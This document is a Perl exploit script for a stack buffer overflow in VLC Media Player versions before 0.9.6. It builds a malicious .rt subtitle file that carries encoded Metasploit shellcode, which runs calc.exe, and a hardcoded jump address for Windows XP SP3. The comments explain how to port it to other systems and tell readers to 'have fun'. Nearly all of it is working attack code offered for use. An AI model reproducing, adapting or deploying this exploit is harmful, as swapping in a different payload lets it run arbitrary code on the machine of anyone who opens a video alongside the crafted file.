#!/usr/bin/perl # VLC Media Player < 0.9.6 .RT File Buffer Overflow (Stack Based) # --------------------------------------------------------------- # Exploit by SkD # # This should work on a fully up-to-date Windows XP SP3. If you want it to work # on your OS version, just find a "jmp esp" address in one of the dlls loaded # with VLC :). # Have fun. Remember that VLC will open the file .rt automatically with a video # of the same name (example: s.mov with s.rt in the same folder). # Credits to Tobias Klein. # Author has no responsibility over the damage you do with this! use strict; use warnings; # win32_exec - EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x48\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41". "\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x51\x41\x32\x41\x41\x32". "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x69\x79\x4b\x4c\x4d". "\x38\x70\x44\x55\x50\x45\x50\x75\x50\x6e\x6b\x77\x35\x67\x4c\x6c". "\x4b\x43\x4c\x45\x55\x74\x38\x55\x51\x58\x6f\x4e\x6b\x52\x6f\x45". "\x48\x4e\x6b\x43\x6f\x65\x70\x76\x61\x58\x6b\x50\x49\x4e\x6b\x36". "\x54\x4e\x6b\x75\x51\x4a\x4e\x56\x51\x6b\x70\x4c\x59\x6c\x6c\x6e". "\x64\x59\x50\x70\x74\x63\x37\x69\x51\x78\x4a\x56\x6d\x45\x51\x5a". "\x62\x78\x6b\x6c\x34\x67\x4b\x51\x44\x36\x44\x74\x44\x30\x75\x4d". "\x35\x6c\x4b\x31\x4f\x31\x34\x65\x51\x5a\x4b\x52\x46\x4c\x4b\x74". "\x4c\x62\x6b\x6c\x4b\x61\x4f\x77\x6c\x35\x51\x7a\x4b\x6c\x4b\x57". "\x6c\x4c\x4b\x37\x71\x5a\x4b\x4c\x49\x73\x6c\x77\x54\x47\x74\x38". "\x43\x50\x31\x6b\x70\x32\x44\x4e\x6b\x61\x50\x66\x50\x4f\x75\x6b". "\x70\x51\x68\x44\x4c\x6c\x4b\x77\x30\x36\x6c\x6e\x6b\x70\x70\x77". "\x6c\x6c\x6d\x6c\x4b\x50\x68\x73\x38\x6a\x4b\x74\x49\x6c\x4b\x4b". "\x30\x4c\x70\x63\x30\x73\x30\x45\x50\x4e\x6b\x45\x38\x35\x6c\x53". "\x6f\x35\x61\x4c\x36\x75\x30\x71\x46\x6d\x59\x4a\x58\x4b\x33\x4f". "\x30\x31\x6b\x70\x50\x43\x58\x61\x6e\x6e\x38\x4b\x52\x32\x53\x31". "\x78\x4c\x58\x4b\x4e\x4c\x4a\x46\x6e\x50\x57\x6b\x4f\x5a\x47\x50". "\x63\x31\x71\x30\x6c\x35\x33\x44\x6e\x63\x55\x44\x38\x35\x35\x37". "\x70\x41"; my $char = "\x41"; my $nop = "\x90"; my $eip = "\xd7\x30\x9d\x7c"; # FOR WINDOWS XP SP3: 0x7c9d30d7 jmp esp (shell32.dll) my $jmp = "\xeb\x06\xFF\xFF"; my $addr = "\xb5\xb5\xfd\x7f"; open(my $rt, "> s.rt"); print $rt "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65". "\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22". "\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30". "\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F". "\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63". "\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C". "\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79". "\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22". $char x 72 . $eip . $jmp . $addr . $nop x 12 . $shellcode . $char x 1024 . "\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E". "\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69". "\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39". "\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61". "\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65". "\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72". "\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65". "\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E". "\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65". "\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69". "\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77". "\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F". "\x77\x3E\x0D\x0A";